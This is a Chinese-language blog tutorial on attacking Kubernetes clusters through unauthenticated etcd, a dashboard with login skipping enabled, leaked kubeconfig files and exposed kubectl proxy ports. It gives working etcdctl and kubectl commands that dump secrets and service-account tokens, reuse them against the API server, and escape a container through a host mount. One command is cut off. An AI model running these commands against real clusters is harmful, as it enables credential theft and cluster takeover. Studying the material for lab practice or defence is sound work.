云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

本文涉及的产品
容器服务 Serverless 版 ACK Serverless,952元额度 多规格
容器服务 Serverless 版 ACK Serverless,317元额度 多规格
简介: 云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

云原生-K8s安全-etcd未授权访问

如上图所示:etcd服务是运行在master节点上的,master节点上查看该服务默认通过证书认证,主要存放节点的数据,如一些token和证书。

当然,初始安全情况下,该服务是安全的(2379不对外开放,本地可访问),下面三种主要是配置问题


三种攻击2379端口方式

配置文件:/etc/kubernetes/manifests/etcd.yaml

注释掉或者改为false,重启k8s服务

systemctl restart kubelet.service

V2版本利用:

直接访问http://ip:2379/v2/keys/?recursive=true ,

可以看到所有的key-value值。(secrets token)

如图表示对方api版本是V3版本,目前V2版本已经很少见了

使用etcd-v3.4.27工具进行连接利用


第一种:没有配置指定–client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。

-暴露外部可以访问,直接未授权访问获取secrets和token利用

b44c66ab1721ad980b5d8df9ccd7d372_fba2da27ccf44534ab81c7a386eace14.png

直接使用工具进行连接报错,因为从上方web访问可以看出是需要https证书

复现搭建:

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

安装etcdctl:

https://github.com/etcd-io/etcd/releases

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

8c7360490c28d1aedf41c662086c4b20_1c53c6d5515c4fb9a7c8cce121c8d8d6.png

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert进行认证访问,一般配合ssrf或其他利用,较为鸡肋。

-只能本地访问,直接未授权访问获取secrets和token利用


第三种:实战中在安装k8s默认的配置2379只会监听本地,如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。

-只能本地访问,利用ssrf或其他进行获取secrets和token利用


*复现利用:

*暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

*SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

*V2/V3版本利用参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html


利用参考:

https://www.wangan.com/p/7fy7f81f02d9563a

https://www.cnblogs.com/qtzd/p/k8s_etcd.html


V3版本利用:

1、连接提交测试


./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 “Hello world1”

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 “Hello world2”

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 “Hello world3”


2、获取k8s的secrets:


./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/


3、读取service account token:


./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z


4、通过token访问API-Server,获取集群的权限:


kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“ey…” -n kube-system get pods


云原生-K8s安全-Dashboard未授权访问


默认端口:8001

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。


*复现利用:

*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard

*Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装:https://blog.csdn.net/justlpf/article/details/130718774

2、启动:kubectl create -f recommended.yaml

3、卸载:kubectl delete -f recommended.yaml

4、查看:kubectl get pod,svc -n kubernetes-dashboard

5、利用:新增Pod后续同前面利用一致

搭建环境太麻烦了


正常情况下Dashboard如图:

有漏洞的情况下:(没搭建出来……)

点击跳过直接进入控制面板

利用流程:找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

云原生-K8s安全-Configfile鉴权文件泄漏


攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:

-如果提供了–kubeconfig参数,就使用提供的kubeconfig文件

-如果没有提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件

-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config


*复现利用:

*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

安装:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接:kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config 
cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建:

云原生-K8s安全-Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
环境搭建:

kubectl --insec

*复现利用:

*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。

*找到暴露入口点,根据类型选择合适方案

kubectl -s http://10.10.10.167:8009 get pods -n kube-system

相关实践学习
容器服务Serverless版ACK Serverless 快速入门:在线魔方应用部署和监控
通过本实验,您将了解到容器服务Serverless版ACK Serverless 的基本产品能力,即可以实现快速部署一个在线魔方应用,并借助阿里云容器服务成熟的产品生态,实现在线应用的企业级监控,提升应用稳定性。
云原生实践公开课
课程大纲 开篇:如何学习并实践云原生技术 基础篇: 5 步上手 Kubernetes 进阶篇:生产环境下的 K8s 实践 相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
1天前
|
Kubernetes Cloud Native Shell
云原生 - K8s命令合集
云原生 - K8s命令合集
6 0
|
1天前
|
存储 Kubernetes Cloud Native
云原生 - Kubernetes基础知识学习
云原生 - Kubernetes基础知识学习
6 0
|
7天前
|
Kubernetes 安全 Cloud Native
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
|
7天前
|
Cloud Native 安全 Docker
云上攻防-云原生篇&Docker安全&系统内核&版本&CDK自动利用&容器逃逸
云上攻防-云原生篇&Docker安全&系统内核&版本&CDK自动利用&容器逃逸
|
1天前
|
Cloud Native Java 持续交付
使用Java实现云原生应用架构
使用Java实现云原生应用架构
|
1天前
|
Kubernetes Cloud Native API
云原生架构的演进与实践
在数字化转型的浪潮中,云原生技术以其灵活性、可扩展性和弹性成为企业IT战略的核心。本文将深入探讨云原生架构的关键组件、设计原则以及如何在实践中有效应用这些概念以支持现代业务需求。通过分析容器化、微服务、持续集成/持续部署(CI/CD)和声明式API等技术的应用,本文旨在为读者提供一套全面的云原生实施指南,助力企业构建更加灵活、高效的IT基础设施。
7 0
|
1天前
|
运维 监控 Cloud Native
“论云原生架构及其应用”写作框架,系统架构设计师
近年来,随着数字化转型不断深入,科技创新与业务发展不断融合,各行各业正在从大工业时代的固化范式进化成面向创新型组织与灵活型业务的崭新模式。在这一背景下,以容器和微服务架构为代表的云原生技术作为云计算服务的新模式,已经逐渐成为企业持续发展的主流选择。云原生架构是基于云原生技术的一组架构原则和设计模式的集合,旨在将云应用中的非业务代码部分进行最大化剥离,从而让云设施接管应用中原有的大量非功能特性(如弹性、韧性、安全、可观测性、灰度等),使业务不再有非功能性业务中断困扰的同时,具备轻量、敏捷、高度自动化的特点。云原生架构有利于各组织在公有云、私有云和混合云等新型动态环境中,构建和运行可弹性扩展的应用
|
2天前
|
运维 负载均衡 Cloud Native
云原生架构下的微服务治理实践
【6月更文挑战第24天】在云原生的浪潮下,微服务治理成为确保系统弹性、可维护性和可观测性的关键。本文通过深入分析微服务治理的核心要素与挑战,结合前沿技术和工具,提出一套实用的微服务治理策略,旨在帮助开发者和架构师构建更加稳定、高效且易于管理的分布式系统。
|
2天前
|
人工智能 Cloud Native Java
从云原生视角看 AI 原生应用架构的实践
本文核心观点: • 基于大模型的 AI 原生应用将越来越多,容器和微服务为代表的云原生技术将加速渗透传统业务。 • API 是 AI 原生应用的一等公民,并引入了更多流量,催生企业新的生命力和想象空间。 • AI 原生应用对网关的需求超越了传统的路由和负载均衡功能,承载了更大的 AI 工程化使命。 • AI Infra 的一致性架构至关重要,API 网关、消息队列、可观测是 AI Infra 的重要组成。
|
2天前
|
Kubernetes Cloud Native Devops
云原生架构:现代应用开发的未来之路
在当今快速发展的技术环境中,云原生架构正成为企业构建和部署现代应用的首选方式。本文探讨了云原生的基本概念、优势以及在实际应用中的关键组件和最佳实践,为企业如何利用云原生实现更高效、更灵活的应用开发提供了深入分析。

热门文章

最新文章